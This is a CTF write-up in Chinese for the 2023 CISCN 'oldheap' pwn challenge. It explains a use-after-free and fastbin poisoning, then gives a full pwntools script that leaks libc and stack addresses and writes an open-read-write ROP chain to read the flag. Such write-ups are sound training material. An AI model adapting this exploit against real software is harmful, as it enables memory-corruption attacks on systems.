2023ciscn华南赛区 oldheap
free函数存在uaf漏洞,限制了堆的块数十块,但是不限制malloc次数
strcuk chunk{
size_t size;
size_t * ptr;
}
#chunk结构体存放指针和size,ptr存放字符串,chunk结构体是0x10的内存
#这里一次申请两块指针,先申请0x10的chunk四块,一共八个0x20的chunk,全部free掉,这样子就有一块掉fastbin里面去了,然后利用uaf漏洞,把chunklist的指针挂上fastbin,这样我们再申请,就可以把chunklist申请到,
0x602060就是chunklist的地址
第一步,在上面挂puts函数的got表泄露基地址
第二部,泄露基地址算出environ的地址,把这个用同样的方式挂上chunklist,泄露栈地址
第三步,计算在eidt函数中,leave ret的栈地址,然后把这个栈地址以同样的方式挂上chunklist去修改,在这个上面布置rop链进行orw读取flag
那我们泄露的栈地址跟这个地址进行做差,就可以得到偏移,加上去就可以了,然后就可以再次把这个栈地址以同样的方式挂上chunklist进行修改,布置rop
from pwn import *
ly=process("./oldheap")
elf=ELF("./oldheap")
#ly=remote("172.1.26.10",8888)
#libc=ELF("libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(os='linux', arch='amd64', log_level='debug')
def cmd(t):
ly.sendlineafter(b"What about command: ",t)
def add(idx,size,string):
cmd(b'C')
ly.sendlineafter(b"What about index",str(idx))
ly.sendlineafter(b"How long is your string",str(size))
ly.sendlineafter(b"What about string:",string)
def detele(idx):
cmd(b'F')
ly.sendlineafter(b"What about index", str(idx))
def printnode(idx):
cmd(b'R')
ly.sendlineafter(b"What about index", str(idx))
#ly.sendlineafter(b"string:", string)
def writenode(idx,string):
cmd(b'W')
ly.sendlineafter(b"What about index", str(idx))
ly.sendlineafter(b"string:", string)
#ly.sendlineafter(b"What about command:", string)
def dbg():
gdb.attach(ly)
pause()
add(0,0x10,b'a')#0
add(1,0x10,b'a')#1
add(2,0x10,b'a')#2
add(3,0x10,b'a')#3
add(4,0x10,b'a')#4
detele(0)
detele(1)
detele(2)
detele(3)
detele(4)
#detele(5)
writenode(4,p64(0x602060))
#writenode(5,p64(0x602060))
add(0,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(0,0x10,b'a')
writenode(0,p64(elf.got['puts'])+p64(0x602068))
printnode(3)
ly.recvuntil(b"string: ")
result = ly.recv()
result1 = result
content = result[:6]
puts_addr = int.from_bytes(content, 'little')
put = libc.sym['puts']
libc.address=libcbase = puts_addr - put
#得到偏移之后,用同样的方法,把environ的地址挂上堆中,再用show功能,泄漏栈地址
writenode(0,p64(libc.sym['_environ'])+p64(0x602068))
print("environ---->",hex(libc.sym['_environ']))
printnode(3)
ly.recvuntil(b"string: ")
stack=u64(ly.recv(6).ljust(8,b'\x00'))-288
print("stack---->",hex(stack))
#泄漏得到栈地址后,重新布局chunklist,把栈地址挂上chunklist,在用eidt功能在eidt函数的返回地址ret处布置rop链
add(0,0x10,b'a')#0
add(1,0x10,b'a')#1
add(2,0x10,b'a')#2
add(3,0x10,b'a')#3
add(4,0x10,b'a')#4
detele(0)
detele(1)
detele(2)
detele(3)
detele(4)
#detele(5)
writenode(4,p64(0x602060))
#writenode(5,p64(0x602060))
add(0,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(1,0x10,b'a')
add(0,0x10,b'a')
writenode(0,p64(stack)+p64(0x602068)+b"\n")#0x000000000400B13
#0x00000400B1E
pop_rdi_ret = next(libc.search(asm('pop rdi;ret;')))
pop_rsi_ret = 0x0000000000400cf1
pop_rdx_ret = libc.address+0x142c92
bss_addr=stack+128+8+8+8
open=libc.sym['open']
read=libc.sym['read']
ret=0x0000000000400779
payload=p64(ret)+p64(pop_rdi_ret)+p64(stack+128+8+8)+p64(pop_rsi_ret)+p64(0)+p64(0)+p64(open)+p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_addr + 16)+p64(0) + p64(pop_rdx_ret) + p64(0x50) + p64(read)
payload+= p64(pop_rdi_ret)+p64(bss_addr+16)+p64(elf.plt['puts'])+b'./flag\x00\x00'
#dbg()
writenode(3,payload)
ly.interactive()
有点遗憾的…